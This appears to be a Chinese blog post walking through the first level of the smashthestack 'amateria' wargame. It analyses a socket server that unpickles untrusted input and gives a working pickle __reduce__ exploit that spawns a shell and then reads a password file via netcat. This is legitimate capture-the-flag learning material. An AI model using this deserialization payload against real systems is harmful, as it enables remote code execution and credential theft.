根据提示的信息,猜测我们需要通过ssh远程连接服务器,password,levels这些信息都保存在服务器的文件系统中。
第零关,给出的提示是命名为level1.py的python脚本,下面我们来分析这个脚本。
#!/usr/bin/python import socket import cPickle import os import sys import signal #全局变量,应该是指定端口号 PORT = 54321 def handle(cs, addr): #cs是远程连接的客户端socket对象实例,对客户端发送信息确认连接 print "Conn from", addr cs.sendall("HAI\n") #接受远程客户端的payload try: l = cPickle.loads(cs.recv(1024)) s = sum(l) cs.sendall("%d\n" % s) except: cs.sendall("fail :(\n") cs.sendall("bye\n") cs.close() #linux服务器会因为并发服务器常常fork很多子进程,设置内核把僵尸子进程转交给init进程去处理,省去了大量僵尸进程占用系统资源。 signal.signal(signal.SIGCHLD, signal.SIG_IGN) #实例化一个socket对象为s,绑定到服务器本地的所有ip的54321端口并监听 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", PORT)) s.listen(100) while 1: #接受连接请求,并fork一个子进程 (cs, addr) = s.accept() pid = os.fork() #一旦fork子进程以后,关闭socket,并调用handle函数处理客户端发送来的payload if pid == 0: s.close() handle(cs, addr) sys.exit(0) cs.close()
该脚本是在socket服务端监听54321端口,每当有一个外部连接请求,就fork一个子进程接受客户端payload,并送到handle()函数处理,handle()函数尝试调用cPickle.load()接受payload并用sum()对返回值求和发送,否则抛出异常发送fail:(给客户端。
细节知识参见以下blog:
- python socket编程:https://www.cnblogs.com/hazir/p/python_socket_programming.html
- python cPickle模块:http://blog.csdn.net/u010602026/article/details/67650829
- 绑定0.0.0.0:http://blog.csdn.net/u012359618/article/details/56277254
猜测这个脚本运行在amateria.smashthestack.org,于是使用nc命令连接目标端口$ ncat amateria.smashthestack.org 54321:
$ ncat amateria.smashthestack.org 54321 HAI fail :( bye
结果返回了fail:(和bye,验证了这一猜想,下面我们需要利用cPickle模块来完成exploit。
Python的cPickle模块实际上是不安全的,在文档中cPickle module就有一段warning,说明可以被利用。
object.__reduce__() 方法中说明了,当Pickler无法识别接收到的对象类型时,会对其实施object.__reduce__()方法,该方法不接收任何参数,但必须返回tuple或者string,于是构造如下exploit.py来构造object.__reduce__()方法来返回shell:
import cPickle import subprocess class Exploit(object): def __reduce__(self): return ( subprocess.call, # the callable that is returned when this method is called ( ('/bin/sh', '-i'), # Tuple of arguments to pass to subprocess.call 0, # set bufsize to zero, nothing needs to be buffered None, # set executable to None. Nothing needs to be executed as a replacement 4, # set stdin to a fd which represents the socket we open to the server 4, # set stdout to a fd which represents the socket we open to the server 4 # set stderr to a fd which represents the socket we open to the server ) ) print cPickle.dumps(Exploit())
然后可以将该脚本用nc传给服务器:
$ python exploit.py | nc amateria.smashthestack.org 54321 HAI /bin/sh: can't access tty; job control turned off $ fail :( bye
仔细阅读网站提示信息发现,所有通向外部的连接都是禁止的,所以该方法行不通,于是转而想到,只需要获得password信息即可,而它就保存在/home/<user>/password之中,于是将子进程调用修改如下:
('cat', '/home/level1/password'), # Tuple of arguments to pass to subprocess.call
再用nc传一遍,就成功得到了level1的口令:
$ python exploit.py | nc amateria.smashthestack.org 54321 HAI <password is here> fail :( bye
为了不剧透,这里就不显示通关口令了:)。然后使用ssh连接,输入口令,成功以level1用户身份获得了shell:
$ ssh -p2229 level1@amateria.smashthestack.org .-----------------------------------------------------------------. / .-. .-. \ | / \ Welcome to amateria! / \ | | |\_. | The first level is a remote one. | /| | |\| | /| Read |\ | |/| | `---' | http://amateria.smashthestack.org:89/ | `---' | | | for more information. | | | |-----------------------------------------------------| | \ | | / \ / \ / `---' `---' level1@amateria.smashthestack.org's password: __ __ _____ ____ _ __ _| \/ | __ |_ _|__| _ \(_) __ _ / _` | |\/| |/ _` || |/ _ \ |_) | |/ _` | | (_| | | | | (_| || | __/ _ <| | (_| | \__,_|_| |_|\__,_||_|\___|_| \_\_|\__,_| - Levels in /wargame - Passwords in /home/<user/password - Workspace in /tmp/<somethingrandom> For help with the game, join us on IRC at #amateria @ irc.smashthestack.org Server admins: p1ra , kaliman, morla ---( Have fun! )--- -bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) level1@amateria:~$
本文参照了Nic Young的blog以及自己的实验尝试,欢迎各位大神纠正我的错误@_@~! 打不开网站的记得搭梯子哟。